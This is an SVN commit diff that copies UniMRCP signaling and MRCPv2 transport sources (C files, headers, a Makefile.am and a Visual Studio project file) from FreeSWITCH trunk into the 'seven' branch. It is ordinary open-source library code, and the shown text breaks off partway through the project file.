Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_sig_agent.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-signaling/src/mrcp_sig_agent.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_sig_agent.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-signaling/src/mrcp_sig_agent.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mrcp_sig_agent.h"
+#include "mrcp_session.h"
+#include "apt_pool.h"
+
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_signaling_agent_create(void *obj, mrcp_version_e mrcp_version, apr_pool_t *pool)
+{
+	mrcp_sig_agent_t *sig_agent = apr_palloc(pool,sizeof(mrcp_sig_agent_t));
+	sig_agent->pool = pool;
+	sig_agent->obj = obj;
+	sig_agent->mrcp_version = mrcp_version;
+	sig_agent->resource_factory = NULL;
+	sig_agent->parent = NULL;
+	sig_agent->task = NULL;
+	sig_agent->msg_pool = NULL;
+	sig_agent->create_server_session = NULL;
+	sig_agent->create_client_session = NULL;
+	return sig_agent;
+}
+
+MRCP_DECLARE(mrcp_session_t*) mrcp_session_create(apr_size_t padding)
+{
+	mrcp_session_t *session;
+	apr_pool_t *pool = apt_pool_create();
+	if(!pool) {
+		return NULL;
+	}
+	session = apr_palloc(pool,sizeof(mrcp_session_t)+padding);
+	session->pool = pool;
+	session->obj = NULL;
+	session->signaling_agent = NULL;
+	session->request_vtable = NULL;
+	session->response_vtable = NULL;
+	session->event_vtable = NULL;
+	apt_string_reset(&session->id);
+	session->last_request_id = 0;
+	return session;
+}
+
+MRCP_DECLARE(void) mrcp_session_destroy(mrcp_session_t *session)
+{
+	if(session->pool) {
+		apr_pool_destroy(session->pool);
+	}
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport


Name: svn:ignore
   + Makefile.in
Makefile
Debug
Release
*.user
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+MAINTAINERCLEANFILES 	      = Makefile.in
+
+INCLUDES                      = -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                                -I$(top_srcdir)/libs/mrcp/include \
+                                -I$(top_srcdir)/libs/mrcp/message/include \
+                                -I$(top_srcdir)/libs/mrcp/control/include \
+                                -I$(top_srcdir)/libs/apr-toolkit/include \
+                                $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES            = libmrcpv2transport.la
+
+include_HEADERS               = include/mrcp_connection_types.h \
+                                include/mrcp_control_descriptor.h \
+                                include/mrcp_connection.h \
+                                include/mrcp_client_connection.h \
+                                include/mrcp_server_connection.h
+
+libmrcpv2transport_la_SOURCES = src/mrcp_control_descriptor.c \
+                                src/mrcp_connection.c \
+                                src/mrcp_client_connection.c \
+                                src/mrcp_server_connection.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_client_connection.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_client_connection.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_client_connection.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_client_connection.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_client_connection.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,137 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CLIENT_CONNECTION_H__
+#define __MRCP_CLIENT_CONNECTION_H__
+
+/**
+ * @file mrcp_client_connection.h
+ * @brief MRCPv2 Client Connection
+ */ 
+
+#include "apt_task.h"
+#include "mrcp_connection_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create connection agent.
+ * @param max_connection_count the number of max MRCPv2 connections
+ * @param offer_new_connection the connection establishment policy in o/a
+ * @param pool the pool to allocate memory from
+ */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_client_connection_agent_create(
+											apr_size_t max_connection_count, 
+											apt_bool_t offer_new_connection,
+											apr_pool_t *pool);
+
+/**
+ * Destroy connection agent.
+ * @param agent the agent to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_destroy(mrcp_connection_agent_t *agent);
+
+/**
+ * Start connection agent and wait for incoming requests.
+ * @param agent the agent to start
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_start(mrcp_connection_agent_t *agent);
+
+/**
+ * Terminate connection agent.
+ * @param agent the agent to terminate
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_terminate(mrcp_connection_agent_t *agent);
+
+
+/**
+ * Set connection event handler.
+ * @param agent the agent to set event hadler for
+ * @param obj the external object to associate with the agent
+ * @param vtable the event handler virtual methods
+ */
+MRCP_DECLARE(void) mrcp_client_connection_agent_handler_set(
+								mrcp_connection_agent_t *agent, 
+								void *obj, 
+								const mrcp_connection_event_vtable_t *vtable);
+
+/**
+ * Set MRCP resource factory.
+ * @param agent the agent to set resource factory for
+ * @param resource_factory the MRCP resource factory to set
+ */
+MRCP_DECLARE(void) mrcp_client_connection_resource_factory_set(
+								mrcp_connection_agent_t *agent, 
+								mrcp_resource_factory_t *resource_factory);
+
+/**
+ * Get task.
+ * @param agent the agent to get task from
+ */
+MRCP_DECLARE(apt_task_t*) mrcp_client_connection_agent_task_get(mrcp_connection_agent_t *agent);
+
+/**
+ * Get external object.
+ * @param agent the agent to get object from
+ */
+MRCP_DECLARE(void*) mrcp_client_connection_agent_object_get(mrcp_connection_agent_t *agent);
+
+
+/**
+ * Create control channel.
+ * @param agent the agent to create channel for
+ * @param obj the external object to associate with the control channel
+ * @param pool the pool to allocate memory from
+ */
+MRCP_DECLARE(mrcp_control_channel_t*) mrcp_client_control_channel_create(mrcp_connection_agent_t *agent, void *obj, apr_pool_t *pool);
+
+/**
+ * Add MRCPv2 control channel.
+ * @param channel the control channel to add
+ * @param descriptor the control descriptor
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_add(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor);
+
+/**
+ * Modify MRCPv2 control channel.
+ * @param channel the control channel to modify
+ * @param descriptor the control descriptor
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_modify(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor);
+
+/**
+ * Remove MRCPv2 control channel.
+ * @param channel the control channel to remove
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_remove(mrcp_control_channel_t *channel);
+
+/**
+ * Destroy MRCPv2 control channel.
+ * @param channel the control channel to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_channel_destroy(mrcp_control_channel_t *channel);
+
+/**
+ * Send MRCPv2 message.
+ * @param channel the control channel to send message through
+ * @param message the message to send
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_control_message_send(mrcp_control_channel_t *channel, mrcp_message_t *message);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CLIENT_CONNECTION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CONNECTION_H__
+#define __MRCP_CONNECTION_H__
+
+/**
+ * @file mrcp_connection.h
+ * @brief MRCP Connection
+ */ 
+
+#include <apr_poll.h>
+#include <apr_hash.h>
+#include "apt_obj_list.h"
+#include "mrcp_connection_types.h"
+#include "mrcp_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Size of the buffer used for MRCP rx/tx stream */
+#define MRCP_STREAM_BUFFER_SIZE 1024
+
+/** MRCPv2 connection */
+struct mrcp_connection_t {
+	/** Memory pool */
+	apr_pool_t       *pool;
+
+	/** Accepted/Connected socket */
+	apr_socket_t     *sock;
+	/** Socket poll descriptor */
+	apr_pollfd_t      sock_pfd;
+	/** Local sockaddr */
+	apr_sockaddr_t   *l_sockaddr;
+	/** Remote sockaddr */
+	apr_sockaddr_t   *r_sockaddr;
+	/** Remote IP */
+	apt_str_t         remote_ip;
+	/** String identifier used for traces */
+	const char       *id;
+
+	/** Reference count */
+	apr_size_t        access_count;
+	/** Agent list element */
+	apt_list_elem_t  *it;
+	/** Opaque agent */
+	void             *agent;
+
+	/** Table of control channels */
+	apr_hash_t       *channel_table;
+
+	/** Rx buffer */
+	char              rx_buffer[MRCP_STREAM_BUFFER_SIZE];
+	/** Rx stream */
+	apt_text_stream_t rx_stream;
+	/** MRCP parser to parser MRCP messages out of rx stream */
+	mrcp_parser_t    *parser;
+
+	/** Tx buffer */
+	char              tx_buffer[MRCP_STREAM_BUFFER_SIZE];
+	/** Tx stream */
+	apt_text_stream_t tx_stream;
+	/** MRCP generator to generate MRCP messages out of tx stream */
+	mrcp_generator_t *generator;
+};
+
+/** Create MRCP connection. */
+mrcp_connection_t* mrcp_connection_create();
+
+/** Destroy MRCP connection. */
+void mrcp_connection_destroy(mrcp_connection_t *connection);
+
+/** Add Control Channel to MRCP connection. */
+apt_bool_t mrcp_connection_channel_add(mrcp_connection_t *connection, mrcp_control_channel_t *channel);
+
+/** Find Control Channel by Channel Identifier. */
+mrcp_control_channel_t* mrcp_connection_channel_find(mrcp_connection_t *connection, const apt_str_t *identifier);
+
+/** Remove Control Channel from MRCP connection. */
+apt_bool_t mrcp_connection_channel_remove(mrcp_connection_t *connection, mrcp_control_channel_t *channel);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CONNECTION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_connection_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,126 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CONNECTION_TYPES_H__
+#define __MRCP_CONNECTION_TYPES_H__
+
+/**
+ * @file mrcp_connection_types.h
+ * @brief MRCP Connection Types Declaration
+ */ 
+
+#include <apr_network_io.h>
+#include "apt_string.h"
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MRCPv2 control descriptor declaration */
+typedef struct mrcp_control_descriptor_t mrcp_control_descriptor_t;
+
+/** Opaque MRCPv2 connection declaration */
+typedef struct mrcp_connection_t mrcp_connection_t;
+
+/** Opaque MRCPv2 control channel declaration */
+typedef struct mrcp_control_channel_t mrcp_control_channel_t;
+
+/** Opaque MRCPv2 connection agent declaration */
+typedef struct mrcp_connection_agent_t mrcp_connection_agent_t;
+
+/** MRCPv2 connection event vtable declaration */
+typedef struct mrcp_connection_event_vtable_t mrcp_connection_event_vtable_t;
+
+/** MRCPv2 connection event vtable */
+struct mrcp_connection_event_vtable_t {
+	/** Channel add event handler */
+	apt_bool_t (*on_add)(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+	/** Channel modify event handler */
+	apt_bool_t (*on_modify)(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+	/** Channel remove event handler */
+	apt_bool_t (*on_remove)(mrcp_control_channel_t *channel, apt_bool_t status);
+	/** Message receive event handler */
+	apt_bool_t (*on_receive)(mrcp_control_channel_t *channel, mrcp_message_t *message);
+};
+
+/** MRCPv2 control channel */
+struct mrcp_control_channel_t {
+	/** MRCPv2 Connection agent */
+	mrcp_connection_agent_t *agent;
+	/** MRCPv2 (shared) connection */
+	mrcp_connection_t       *connection;
+	/** Indicate removed connection (safe to destroy) */
+	apt_bool_t               removed;
+	/** External object associated with the channel */
+	void                    *obj;
+	/** Pool to allocate memory from */
+	apr_pool_t              *pool;
+	/** Channel identifier (id at resource) */
+	apt_str_t                identifier;
+};
+
+/** Send channel add response */
+static APR_INLINE apt_bool_t mrcp_control_channel_add_respond(
+						const mrcp_connection_event_vtable_t *vtable, 
+						mrcp_control_channel_t *channel, 
+						mrcp_control_descriptor_t *descriptor,
+						apt_bool_t status)
+{
+	if(vtable && vtable->on_add) {
+		return vtable->on_add(channel,descriptor,status);
+	}
+	return FALSE;
+}
+
+/** Send channel modify response */
+static APR_INLINE apt_bool_t mrcp_control_channel_modify_respond(
+						const mrcp_connection_event_vtable_t *vtable, 
+						mrcp_control_channel_t *channel, 
+						mrcp_control_descriptor_t *descriptor,
+						apt_bool_t status)
+{
+	if(vtable && vtable->on_modify) {
+		return vtable->on_modify(channel,descriptor,status);
+	}
+	return FALSE;
+}
+
+/** Send channel remove response */
+static APR_INLINE apt_bool_t mrcp_control_channel_remove_respond(
+						const mrcp_connection_event_vtable_t *vtable, 
+						mrcp_control_channel_t *channel,
+						apt_bool_t status)
+{
+	if(vtable && vtable->on_remove) {
+		return vtable->on_remove(channel,status);
+	}
+	return FALSE;
+}
+
+/** Send MRCP message receive event */
+static APR_INLINE apt_bool_t mrcp_connection_message_receive(
+						const mrcp_connection_event_vtable_t *vtable,
+						mrcp_control_channel_t *channel, 
+						mrcp_message_t *message)
+{
+	if(vtable && vtable->on_receive) {
+		return vtable->on_receive(channel,message);
+	}
+	return FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CONNECTION_TYPES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_control_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_control_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_control_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_control_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_control_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CONTROL_DESCRIPTOR_H__
+#define __MRCP_CONTROL_DESCRIPTOR_H__
+
+/**
+ * @file mrcp_control_descriptor.h
+ * @brief MRCPv2 Control Descriptor
+ */ 
+
+#include "apt_string.h"
+#include "mrcp_connection_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCPv2 proto transport */
+typedef enum {
+	MRCP_PROTO_TCP,
+	MRCP_PROTO_TLS,
+
+	MRCP_PROTO_COUNT,
+	MRCP_PROTO_UNKNOWN = MRCP_PROTO_COUNT
+}mrcp_proto_type_e;
+
+
+/** MRCPv2 attributes */
+typedef enum {
+	MRCP_ATTRIB_SETUP,
+	MRCP_ATTRIB_CONNECTION,
+	MRCP_ATTRIB_RESOURCE,
+	MRCP_ATTRIB_CHANNEL,
+	MRCP_ATTRIB_CMID,
+
+	MRCP_ATTRIB_COUNT,
+	MRCP_ATTRIB_UNKNOWN = MRCP_ATTRIB_COUNT
+}mrcp_attrib_e;
+
+
+/** MRCPv2 setup attributes */
+typedef enum {
+	MRCP_SETUP_TYPE_ACTIVE,
+	MRCP_SETUP_TYPE_PASSIVE,
+
+	MRCP_SETUP_TYPE_COUNT,
+	MRCP_SETUP_TYPE_UNKNOWN = MRCP_SETUP_TYPE_COUNT
+} mrcp_setup_type_e;
+
+/** MRCPv2 connection attributes */
+typedef enum {
+	MRCP_CONNECTION_TYPE_NEW,
+	MRCP_CONNECTION_TYPE_EXISTING,
+
+	MRCP_CONNECTION_TYPE_COUNT,
+	MRCP_CONNECTION_TYPE_UNKNOWN = MRCP_CONNECTION_TYPE_COUNT
+} mrcp_connection_type_e;
+
+
+/** MRCPv2 control descriptor */
+struct mrcp_control_descriptor_t {
+	/** IP address */
+	apt_str_t              ip;
+	/** Port */
+	apr_port_t             port;
+	/** Protocol type */
+	mrcp_proto_type_e      proto;
+	/** Setup type */
+	mrcp_setup_type_e      setup_type;
+	/** Connection type */
+	mrcp_connection_type_e connection_type;
+	/** Resource name */
+	apt_str_t              resource_name;
+	/** Session identifier */
+	apt_str_t              session_id;
+	/** Control media identifier */
+	apr_size_t             cmid;
+	/** Base identifier */
+	apr_size_t             id;
+};
+
+/** Initialize MRCP control descriptor */
+static APR_INLINE void mrcp_control_descriptor_init(mrcp_control_descriptor_t *descriptor)
+{
+	apt_string_reset(&descriptor->ip);
+	descriptor->port = 0;
+	descriptor->proto = MRCP_PROTO_UNKNOWN;
+	descriptor->setup_type = MRCP_SETUP_TYPE_UNKNOWN;
+	descriptor->connection_type = MRCP_CONNECTION_TYPE_UNKNOWN;
+	apt_string_reset(&descriptor->resource_name);
+	apt_string_reset(&descriptor->session_id);
+	descriptor->cmid = 0;
+	descriptor->id = 0;
+}
+
+/** Create MRCP control offer */
+MRCP_DECLARE(mrcp_control_descriptor_t*) mrcp_control_offer_create(apr_pool_t *pool);
+
+/** Create MRCP control answer */
+MRCP_DECLARE(mrcp_control_descriptor_t*) mrcp_control_answer_create(mrcp_control_descriptor_t *offer, apr_pool_t *pool);
+
+/** Get MRCP protocol transport name by identifier */
+MRCP_DECLARE(const apt_str_t*) mrcp_proto_get(mrcp_proto_type_e proto);
+
+/** Find MRCP protocol transport identifier by name */
+MRCP_DECLARE(mrcp_proto_type_e) mrcp_proto_find(const apt_str_t *attrib);
+
+
+/** Get MRCP attribute name by identifier */
+MRCP_DECLARE(const apt_str_t*) mrcp_attrib_str_get(mrcp_attrib_e attrib_id);
+
+/** Find MRCP attribute identifier by name */
+MRCP_DECLARE(mrcp_attrib_e) mrcp_attrib_id_find(const apt_str_t *attrib);
+
+
+/** Get MRCP setup type name by identifier */
+MRCP_DECLARE(const apt_str_t*) mrcp_setup_type_get(mrcp_setup_type_e setup_type);
+
+/** Find MRCP setup type identifier by name */
+MRCP_DECLARE(mrcp_setup_type_e) mrcp_setup_type_find(const apt_str_t *attrib);
+
+
+/** Get MRCP connection type name by identifier */
+MRCP_DECLARE(const apt_str_t*) mrcp_connection_type_get(mrcp_connection_type_e connection_type);
+
+/** Find MRCP connection type identifier by name */
+MRCP_DECLARE(mrcp_connection_type_e) mrcp_connection_type_find(const apt_str_t *attrib);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CONTROL_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_server_connection.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_server_connection.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_server_connection.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_server_connection.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/include/mrcp_server_connection.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SERVER_CONNECTION_H__
+#define __MRCP_SERVER_CONNECTION_H__
+
+/**
+ * @file mrcp_server_connection.h
+ * @brief MRCPv2 Server Connection
+ */ 
+
+#include "apt_task.h"
+#include "mrcp_connection_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create connection agent.
+ * @param listen_ip the listen IP address
+ * @param listen_port the listen port
+ * @param max_connection_count the number of max MRCPv2 connections
+ * @param force_new_connection the connection establishment policy in o/a
+ * @param pool the pool to allocate memory from
+ */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_server_connection_agent_create(
+										const char *listen_ip, 
+										apr_port_t listen_port, 
+										apr_size_t max_connection_count,
+										apt_bool_t force_new_connection,
+										apr_pool_t *pool);
+
+/**
+ * Destroy connection agent.
+ * @param agent the agent to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_destroy(mrcp_connection_agent_t *agent);
+
+/**
+ * Start connection agent and wait for incoming requests.
+ * @param agent the agent to start
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_start(mrcp_connection_agent_t *agent);
+
+/**
+ * Terminate connection agent.
+ * @param agent the agent to terminate
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_connection_agent_terminate(mrcp_connection_agent_t *agent);
+
+/**
+ * Set connection event handler.
+ * @param agent the agent to set event hadler for
+ * @param obj the external object to associate with the agent
+ * @param vtable the event handler virtual methods
+ */
+MRCP_DECLARE(void) mrcp_server_connection_agent_handler_set(
+								mrcp_connection_agent_t *agent, 
+								void *obj, 
+								const mrcp_connection_event_vtable_t *vtable);
+
+/**
+ * Set MRCP resource factory.
+ * @param agent the agent to set resource factory for
+ * @param resource_factory the MRCP resource factory to set
+ */
+MRCP_DECLARE(void) mrcp_server_connection_resource_factory_set(
+								mrcp_connection_agent_t *agent, 
+								mrcp_resource_factory_t *resource_factory);
+
+/**
+ * Get task.
+ * @param agent the agent to get task from
+ */
+MRCP_DECLARE(apt_task_t*) mrcp_server_connection_agent_task_get(mrcp_connection_agent_t *agent);
+
+/**
+ * Get external object.
+ * @param agent the agent to get object from
+ */
+MRCP_DECLARE(void*) mrcp_server_connection_agent_object_get(mrcp_connection_agent_t *agent);
+
+
+/**
+ * Create control channel.
+ * @param agent the agent to create channel for
+ * @param obj the external object to associate with the control channel
+ * @param pool the pool to allocate memory from
+ */
+MRCP_DECLARE(mrcp_control_channel_t*) mrcp_server_control_channel_create(mrcp_connection_agent_t *agent, void *obj, apr_pool_t *pool);
+
+/**
+ * Add MRCPv2 control channel.
+ * @param channel the control channel to add
+ * @param descriptor the control descriptor
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_add(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor);
+
+/**
+ * Modify MRCPv2 control channel.
+ * @param channel the control channel to modify
+ * @param descriptor the control descriptor
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_modify(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor);
+
+/**
+ * Remove MRCPv2 control channel.
+ * @param channel the control channel to remove
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_remove(mrcp_control_channel_t *channel);
+
+/**
+ * Destroy MRCPv2 control channel.
+ * @param channel the control channel to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_channel_destroy(mrcp_control_channel_t *channel);
+
+/**
+ * Send MRCPv2 message.
+ * @param channel the control channel to send message through
+ * @param message the message to send
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_server_control_message_send(mrcp_control_channel_t *channel, mrcp_message_t *message);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SERVER_CONNECTION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/mrcpv2transport.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/mrcpv2transport.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcpv2-transport/mrcpv2transport.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/mrcpv2transport.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcpv2-transport/mrcpv2transport.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpv2transport"
+	ProjectGUID="{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA}"
+	RootNamespace="mrcpv2transport"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpv2transport.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
